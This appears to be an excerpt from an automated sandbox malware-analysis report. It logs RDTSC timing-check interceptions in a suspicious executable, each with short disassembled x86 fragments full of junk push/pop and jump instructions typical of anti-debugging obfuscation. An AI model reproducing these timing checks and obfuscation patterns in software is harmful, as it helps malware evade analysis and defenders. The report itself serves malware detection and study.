Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11F94A8 second address: 11F94BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jl 00007FA37887CBE6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e pop eax 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11F94BA second address: 11F94C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11F9919 second address: 11F9925 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11F9925 second address: 11F9929 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11FA478 second address: 11FA47E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11FA47E second address: 11FA482 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11FDE52 second address: 11FDE56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11FDE56 second address: 11FDE75 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FA378880E35h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11FDA2D second address: 11FDA56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jne 00007FA37887CBEAh 0x0000000b push edi 0x0000000c pushad 0x0000000d popad 0x0000000e pop edi 0x0000000f jg 00007FA37887CBECh 0x00000015 popad 0x00000016 push ecx 0x00000017 push esi 0x00000018 pushad 0x00000019 popad 0x0000001a pop esi 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11FDA56 second address: 11FDA5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1243AB4 second address: 1243AD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007FA37887CBF7h 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1243AD3 second address: 1243ADD instructions: 0x00000000 rdtsc 0x00000002 js 00007FA378880E26h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1243ADD second address: 1243AE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 12375FB second address: 1237601 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 12516E5 second address: 12516FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA37887CBECh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 12516FB second address: 1251701 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 125186F second address: 125187C instructions: 0x00000000 rdtsc 0x00000002 jns 00007FA37887CBE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 131D972 second address: 131D976 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 131D976 second address: 131D97F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 131DAE8 second address: 131DAFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA378880E2Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 131DAFA second address: 131DB17 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FA37887CBF5h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 131DB17 second address: 131DB21 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FA378880E43h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 131DC6C second address: 131DC78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FA37887CBE6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 131DC78 second address: 131DC82 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FA378880E26h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 131E1F8 second address: 131E1FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 131E1FC second address: 131E224 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA378880E2Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007FA378880E2Ch 0x00000012 pushad 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 131E224 second address: 131E22B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 131E22B second address: 131E251 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA378880E37h 0x00000009 popad 0x0000000a jne 00007FA378880E2Eh 0x00000010 push edi 0x00000011 pop edi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 131E3A8 second address: 131E3AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 131E6C9 second address: 131E6CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 131E6CD second address: 131E6DD instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FA37887CBE6h 0x00000008 jo 00007FA37887CBE6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 13212A6 second address: 13212AC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 13213A4 second address: 13213A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 13213A9 second address: 13213B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 132164A second address: 132164E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 132164E second address: 1321691 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jbe 00007FA378880E37h 0x00000011 jmp 00007FA378880E31h 0x00000016 mov eax, dword ptr [eax] 0x00000018 jne 00007FA378880E31h 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 je 00007FA378880E26h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1321691 second address: 1321695 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1321695 second address: 132169B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 13244E7 second address: 13244ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1325E39 second address: 1325E56 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push esi 0x0000000a push esi 0x0000000b pop esi 0x0000000c pop esi 0x0000000d jnc 00007FA378880E2Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1325E56 second address: 1325E6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA37887CBF3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 110E6A8 second address: 110E6AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 110E6AE second address: 110E6B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 110E6B2 second address: 110E6BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 110E6BA second address: 110E6BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7610060 second address: 7610095 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop ecx 0x00000005 pushfd 0x00000006 jmp 00007FA378880E2Dh 0x0000000b add esi, 6FF955C6h 0x00000011 jmp 00007FA378880E31h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7610095 second address: 7610099 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7610099 second address: 761009F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 761009F second address: 76100A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 76100A5 second address: 76100D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007FA378880E38h 0x0000000f mov eax, dword ptr fs:[00000030h] 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 76100D3 second address: 76100D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 76100D7 second address: 76100DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 76100DB second address: 76100E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 76100E1 second address: 76100E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 76100E7 second address: 7610131 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 sub esp, 18h 0x0000000b jmp 00007FA37887CBEAh 0x00000010 xchg eax, ebx 0x00000011 jmp 00007FA37887CBF0h 0x00000016 push eax 0x00000017 jmp 00007FA37887CBEBh 0x0000001c xchg eax, ebx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FA37887CBF5h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7610131 second address: 7610170 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA378880E31h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebx, dword ptr [eax+10h] 0x0000000c pushad 0x0000000d jmp 00007FA378880E2Ch 0x00000012 mov ch, 79h 0x00000014 popad 0x00000015 push eax 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 mov bl, D8h 0x0000001b jmp 00007FA378880E30h 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7610170 second address: 761020B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA37887CBEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], esi 0x0000000c pushad 0x0000000d mov bx, cx 0x00000010 call 00007FA37887CBF0h 0x00000015 pop ecx 0x00000016 popad 0x00000017 mov esi, dword ptr [759B06ECh] 0x0000001d pushad 0x0000001e mov eax, edi 0x00000020 pushfd 0x00000021 jmp 00007FA37887CBEFh 0x00000026 sbb cl, FFFFFF9Eh 0x00000029 jmp 00007FA37887CBF9h 0x0000002e popfd 0x0000002f popad 0x00000030 test esi, esi 0x00000032 pushad 0x00000033 movzx esi, dx 0x00000036 pushad 0x00000037 mov bl, 86h 0x00000039 mov ah, 57h 0x0000003b popad 0x0000003c popad 0x0000003d jne 00007FA37887D9A8h 0x00000043 pushad 0x00000044 jmp 00007FA37887CBF9h 0x00000049 mov eax, 5D944D37h 0x0000004e popad 0x0000004f xchg eax, edi 0x00000050 pushad 0x00000051 push eax 0x00000052 push edx 0x00000053 mov ecx, 7495FBC5h 0x00000058 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 761020B second address: 7610257 instructions: 0x00000000 rdtsc 0x00000002 mov si, 8F41h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a jmp 00007FA378880E2Ah 0x0000000f xchg eax, edi 0x00000010 jmp 00007FA378880E30h 0x00000015 call dword ptr [75980B60h] 0x0000001b mov eax, 75F3E5E0h 0x00000020 ret 0x00000021 pushad 0x00000022 call 00007FA378880E2Eh 0x00000027 push eax 0x00000028 pop ebx 0x00000029 pop esi 0x0000002a movsx ebx, si 0x0000002d popad 0x0000002e push 00000044h 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 mov cx, bx 0x00000036 mov dl, 70h 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7610257 second address: 76102E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA37887CBF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FA37887CBECh 0x00000011 or al, 00000078h 0x00000014 jmp 00007FA37887CBEBh 0x00000019 popfd 0x0000001a mov esi, 5B9D53AFh 0x0000001f popad 0x00000020 xchg eax, edi 0x00000021 pushad 0x00000022 mov ebx, ecx 0x00000024 pushfd 0x00000025 jmp 00007FA37887CBECh 0x0000002a sub eax, 4C3662D8h 0x00000030 jmp 00007FA37887CBEBh 0x00000035 popfd 0x00000036 popad 0x00000037 push eax 0x00000038 jmp 00007FA37887CBF9h 0x0000003d xchg eax, edi 0x0000003e pushad 0x0000003f jmp 00007FA37887CBECh 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 76103A4 second address: 76103E8 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FA378880E35h 0x00000008 and eax, 6AF8CAB6h 0x0000000e jmp 00007FA378880E31h 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 mov esi, eax 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FA378880E2Dh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 76103E8 second address: 76103EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 76103EE second address: 76103F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 76103F2 second address: 76103F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 76103F6 second address: 7610478 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test esi, esi 0x0000000a pushad 0x0000000b call 00007FA378880E35h 0x00000010 movzx ecx, bx 0x00000013 pop edi 0x00000014 call 00007FA378880E2Ah 0x00000019 pushfd 0x0000001a jmp 00007FA378880E32h 0x0000001f adc esi, 24733A98h 0x00000025 jmp 00007FA378880E2Bh 0x0000002a popfd 0x0000002b pop esi 0x0000002c popad 0x0000002d je 00007FA3E6BA0083h 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 pushfd 0x00000037 jmp 00007FA378880E30h 0x0000003c sbb ah, FFFFFFF8h 0x0000003f jmp 00007FA378880E2Bh 0x00000044 popfd 0x00000045 movzx ecx, dx 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7610478 second address: 76104D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, ecx 0x00000005 mov edx, eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a sub eax, eax 0x0000000c pushad 0x0000000d jmp 00007FA37887CBF5h 0x00000012 pushfd 0x00000013 jmp 00007FA37887CBF0h 0x00000018 sbb eax, 503F49B8h 0x0000001e jmp 00007FA37887CBEBh 0x00000023 popfd 0x00000024 popad 0x00000025 mov dword ptr [esi], edi 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007FA37887CBF5h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 76104D7 second address: 76104DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 76104DE second address: 7610505 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esi+04h], eax 0x0000000a jmp 00007FA37887CBEFh 0x0000000f mov dword ptr [esi+08h], eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 mov ebx, 0F0695B6h 0x0000001a mov eax, ebx 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7610505 second address: 761050B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 761050B second address: 761050F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 761050F second address: 7610520 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esi+0Ch], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7610520 second address: 7610524 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7610524 second address: 761052A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 761052A second address: 7610530 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7610530 second address: 7610534 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7610534 second address: 76105A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA37887CBECh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [ebx+4Ch] 0x0000000e jmp 00007FA37887CBF0h 0x00000013 mov dword ptr [esi+10h], eax 0x00000016 jmp 00007FA37887CBF0h 0x0000001b mov eax, dword ptr [ebx+50h] 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 mov dx, AE80h 0x00000025 pushfd 0x00000026 jmp 00007FA37887CBF9h 0x0000002b adc eax, 16016486h 0x00000031 jmp 00007FA37887CBF1h 0x00000036 popfd 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 76105A9 second address: 76105B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA378880E2Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 76105B9 second address: 7610633 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esi+14h], eax 0x0000000b jmp 00007FA37887CBF7h 0x00000010 mov eax, dword ptr [ebx+54h] 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007FA37887CBF4h 0x0000001a add si, 5CB8h 0x0000001f jmp 00007FA37887CBEBh 0x00000024 popfd 0x00000025 mov esi, 41628CEFh 0x0000002a popad 0x0000002b mov dword ptr [esi+18h], eax 0x0000002e pushad 0x0000002f mov ax, 2AE7h 0x00000033 mov ecx, 33938E83h 0x00000038 popad 0x00000039 mov eax, dword ptr [ebx+58h] 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007FA37887CBF5h 0x00000043 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7610633 second address: 7610639 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7610639 second address: 761063D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 761063D second address: 761064E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esi+1Ch], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 761064E second address: 7610652 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7610652 second address: 7610658 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
